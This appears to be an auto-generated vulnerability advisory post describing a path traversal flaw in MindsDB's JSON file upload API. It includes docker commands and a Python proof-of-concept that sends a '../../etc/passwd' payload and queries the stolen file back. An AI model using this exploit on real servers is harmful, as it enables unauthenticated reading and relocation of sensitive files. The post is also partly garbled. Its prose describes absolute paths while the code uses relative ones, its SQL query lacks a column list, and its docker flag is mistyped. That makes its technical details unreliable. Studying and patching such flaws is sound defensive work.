Listen to this Post
The vulnerability is in the PUT handler within the file upload API (file.py). When a request is made with a JSON body and the `source_type` parameter is not set to “url”, the handler directly processes user-controlled input without validation. At approximately line 104, `data = request.json` accepts attacker-supplied JSON. Around line 178, `file_path = os.path.join(temp_dir_path, data[“file”])` constructs a filesystem path. If the `data[“file”]` value is an absolute path (e.g., /etc/passwd), the `os.path.join` function ignores the `temp_dir_path` argument and uses the absolute path provided. This allows path traversal. This malicious path is then passed to ca.file_controller.save_file(...), which instantiates `FileReader(path=source_path)` (in mindsdb/interfaces/file/file_controller.py:66), leading to the reading of any file accessible to the MindsDB process. Subsequently, `shutil.move(file_path, …)` is called, which physically moves the victim file from its original location into MindsDB’s managed storage directory. Multipart form uploads and URL-sourced uploads undergo sanitization via clear_filename, but JSON uploads lack any such checks, making this specific code path exploitable for arbitrary file read and exfiltration.
Platform: MindsDB
Version: Latest
Vulnerability: Path Traversal
Severity: High
date: Unknown
Prediction: Patch date unknown
What Undercode Say:
Analytics:
Bash commands:
docker pull mindsdb/mindsdb:latest
docker run –rm -it -p 47334:47334 –name mindsdb-poc mindsdb/mindsdb:latest
Codes:
import requests, json
base = “http://127.0.0.1:47334”
payload = {“file”: “../../../../../etc/passwd”}
r = requests.put(f”{base}/api/files/leak_rel”, json=payload, timeout=10)
q = requests.post(f”{base}/api/sql/query”, json={“query”: “SELECT FROM files.leak_rel”}, timeout=10)
print(json.dumps(q.json(), indent=2))
How Exploit:
Run MindsDB container.
Execute Python PoC.
Read arbitrary files.
Protection from this CVE
Sanitize file paths.
Validate user input.
Apply security patches.
Impact
Unauthenticated arbitrary file read.
Sensitive data exposure.
File relocation loss.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

